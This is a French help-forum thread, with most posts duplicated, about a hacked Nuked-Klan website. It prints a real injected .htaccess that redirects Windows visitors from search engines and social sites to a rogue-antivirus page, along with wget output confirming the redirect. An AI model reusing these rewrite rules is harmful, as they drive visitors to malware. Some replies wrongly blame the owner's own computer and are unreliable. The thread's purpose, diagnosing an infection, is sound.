Probleme site infecté par un cheval de troie
canonrock19
-
canonrock19 Messages postés 20 Statut Membre -
canonrock19 Messages postés 20 Statut Membre -
Bonjour,
lorsque je vais sur MON site :https://lesbadboys.fr/ mon avast pro 4.8 se met a s'affoler et a me signaler depui peu un cheval de troie de nom : JS:FakeAV-EI [Trj]
avec pour addresse ou nom de fichier
ps :ne cliquer pas dessus sauf si vous savez ce que vous faites !!! =>>>>
** lien douteux supprimé
alors je ne comprend pas je n'ai fais aucune modif sur mon site et ca me le fais sur 2 pc different donc je presume que ca vien du site ,
j'ai deja tenter un scan en ligne sur avg mais il echou et de restaurer ma base de donnée a 3 jour anterieur sans succes (le probleme reste le meme) mon hebergeur est infomaniak
merci de m'aider au plus vite
ps: ne suppirmer pas les liens je fais pas de pub pour lui mais ca aidera pour mon probleme je pense
lorsque je vais sur MON site :https://lesbadboys.fr/ mon avast pro 4.8 se met a s'affoler et a me signaler depui peu un cheval de troie de nom : JS:FakeAV-EI [Trj]
avec pour addresse ou nom de fichier
ps :ne cliquer pas dessus sauf si vous savez ce que vous faites !!! =>>>>
** lien douteux supprimé
alors je ne comprend pas je n'ai fais aucune modif sur mon site et ca me le fais sur 2 pc different donc je presume que ca vien du site ,
j'ai deja tenter un scan en ligne sur avg mais il echou et de restaurer ma base de donnée a 3 jour anterieur sans succes (le probleme reste le meme) mon hebergeur est infomaniak
merci de m'aider au plus vite
ps: ne suppirmer pas les liens je fais pas de pub pour lui mais ca aidera pour mon probleme je pense
A voir également:
- Probleme site infecté par un cheval de troie
- Site de telechargement - Accueil - Outils
- Site x - Guide
- Site de partage de photos - Guide
- Quel site remplace coco - Accueil - Réseaux sociaux
- Meilleur site de vente entre particulier - Guide
4 réponses
Change pas d'antivirus..... Ca n'a rien à voir avec ton PC.
Donne le contenu du fichier .htaccess qui doit se trouver sur ton site (si tu y accès en FTP faut afficher les fichiers cachés);
Madness Rox \o/
Donne le contenu du fichier .htaccess qui doit se trouver sur ton site (si tu y accès en FTP faut afficher les fichiers cachés);
Madness Rox \o/
canonrock19
Messages postés
20
Statut
Membre
1
celui qui est a la racine du site ???
Malekal_morte-
Messages postés
178136
Date d'inscription
Statut
Modérateur, Contributeur sécurité
Dernière intervention
24 692
ouaip pour le fun, mais bon regarde le post en dessous :)
well... ton site s'est bien fait hacker...
malekalmorte@MaK-tux:/tmp$ wget http://www.lesbadboys.fr/.htaccess
--2010-05-16 20:24:55-- http://www.lesbadboys.fr/.htaccess
Resolving www.lesbadboys.fr... 84.16.95.174
Connecting to www.lesbadboys.fr|84.16.95.174|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=3 [following]
--2010-05-16 20:24:55-- http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=3
Resolving ns1.asmartmovehi.com... 195.2.253.42
Connecting to ns1.asmartmovehi.com|195.2.253.42|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'main.php?i=JciqitAZo%2FiljBj+XsRDy5EZ&e=3'
[ <=> ] 77,143 169K/s in 0.4s
2010-05-16 20:24:56 (169 KB/s) - 'main.php?i=JciqitAZo%2FiljBj+XsRDy5EZ&e=3' saved [77143]
y a bien une redirection (HTTP 302)
ns1.asmartmovehi.com. étant une adresse qui conduit à une fausse page de scan qui propose le téléchargement d'un rogue, le truc classique, cf : https://forum.malekal.com/viewtopic.php?t=7139&start=
Un peu de lecture : https://nuked-klan.org/
Mise à jour majeur NK 1.7.8 et SP 4.5
jeudi 13 mai 2010
Suite à une découverte de vulnérabilités, les versions NK 1.7.7 et SP4.4 sont corrigées.
<mode devin qui agite ses mains autour de sa boule de cristal>
T'es en version en dessous :)
</mode devin qui agite ses mains autour de sa boule de cristal>
Madness Rox \o/
malekalmorte@MaK-tux:/tmp$ wget http://www.lesbadboys.fr/.htaccess
--2010-05-16 20:24:55-- http://www.lesbadboys.fr/.htaccess
Resolving www.lesbadboys.fr... 84.16.95.174
Connecting to www.lesbadboys.fr|84.16.95.174|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=3 [following]
--2010-05-16 20:24:55-- http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=3
Resolving ns1.asmartmovehi.com... 195.2.253.42
Connecting to ns1.asmartmovehi.com|195.2.253.42|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'main.php?i=JciqitAZo%2FiljBj+XsRDy5EZ&e=3'
[ <=> ] 77,143 169K/s in 0.4s
2010-05-16 20:24:56 (169 KB/s) - 'main.php?i=JciqitAZo%2FiljBj+XsRDy5EZ&e=3' saved [77143]
y a bien une redirection (HTTP 302)
ns1.asmartmovehi.com. étant une adresse qui conduit à une fausse page de scan qui propose le téléchargement d'un rogue, le truc classique, cf : https://forum.malekal.com/viewtopic.php?t=7139&start=
Un peu de lecture : https://nuked-klan.org/
Mise à jour majeur NK 1.7.8 et SP 4.5
jeudi 13 mai 2010
Suite à une découverte de vulnérabilités, les versions NK 1.7.7 et SP4.4 sont corrigées.
<mode devin qui agite ses mains autour de sa boule de cristal>
T'es en version en dessous :)
</mode devin qui agite ses mains autour de sa boule de cristal>
Madness Rox \o/
pour htaccess voici :
ErrorDocument 500 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=0
ErrorDocument 502 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=2
ErrorDocument 403 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=3
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*odnoklassniki.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*vkontakte.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*tube.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*blogger.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*baidu.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*qq\.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*myspace.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*twitter.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*facebook.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*amazon.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ebay.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*linkedin.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*flickr.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*livejasmin.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*soso.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*doubleclick.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*pornhub.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*orkut.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*livejournal.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*wordpress.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC]
RewriteCond %{HTTP_USER_AGENT} .*Windows.*
RewriteRule .* http://ns1.asmartmovehi.com/main.php?e=r&h=%{HTTP_HOST}&i=JciqitAZo/iljBj+XsRDy5EZ [R,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png$
RewriteCond %{HTTP_USER_AGENT} .*Windows.*
RewriteRule .* http://ns1.asmartmovehi.com/main.php?e=4&h=%{HTTP_HOST}&i=JciqitAZo/iljBj+XsRDy5EZ [R,L]
donc je fais quoi pour corriger ??? je fais juste la mise a jour ?
ErrorDocument 500 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=0
ErrorDocument 502 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=2
ErrorDocument 403 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=3
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*odnoklassniki.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*vkontakte.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*tube.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*blogger.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*baidu.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*qq\.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*myspace.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*twitter.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*facebook.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*amazon.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ebay.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*linkedin.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*flickr.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*livejasmin.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*soso.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*doubleclick.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*pornhub.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*orkut.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*livejournal.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*wordpress.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC]
RewriteCond %{HTTP_USER_AGENT} .*Windows.*
RewriteRule .* http://ns1.asmartmovehi.com/main.php?e=r&h=%{HTTP_HOST}&i=JciqitAZo/iljBj+XsRDy5EZ [R,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png$
RewriteCond %{HTTP_USER_AGENT} .*Windows.*
RewriteRule .* http://ns1.asmartmovehi.com/main.php?e=4&h=%{HTTP_HOST}&i=JciqitAZo/iljBj+XsRDy5EZ [R,L]
donc je fais quoi pour corriger ??? je fais juste la mise a jour ?
Salut !
le virus à juste un origine ,c'est ton ordinateur.
solution proposée :
télécharger ton site sur ton ordinateur avec filezilla ou autre, faire un scan avec ton avast, surement il va le trouver son cheval de Troie, après sa suppression uploader ton site et vérifier l'existence du virus.
bonne chance
le virus à juste un origine ,c'est ton ordinateur.
solution proposée :
télécharger ton site sur ton ordinateur avec filezilla ou autre, faire un scan avec ton avast, surement il va le trouver son cheval de Troie, après sa suppression uploader ton site et vérifier l'existence du virus.
bonne chance
oui le site est infecté je ne sais quoi faire moi, faire un scan avec avira il est meilleur que avaste et avg.
je confirme mais en version pro pour avast sa change les donnes non ?passer de la version pro d'avast a la version gratuite d'avira ca me chifonne , de plus le cheval de troie est sur le site alors pour scanner .... c'est pas evident sinon juste une info avast pro ou avira gratuit ??? lekel est le mieu ?? de plus pour mon cheval de troie seul avast le repere , les pote qui ont avira n'on aucun avertissement (c'est juste pour savoir ca se trouve mon avast me dit n'importe quoi et ca m'arrangerai mais je tient a nettoyer mon site en cas de pepin
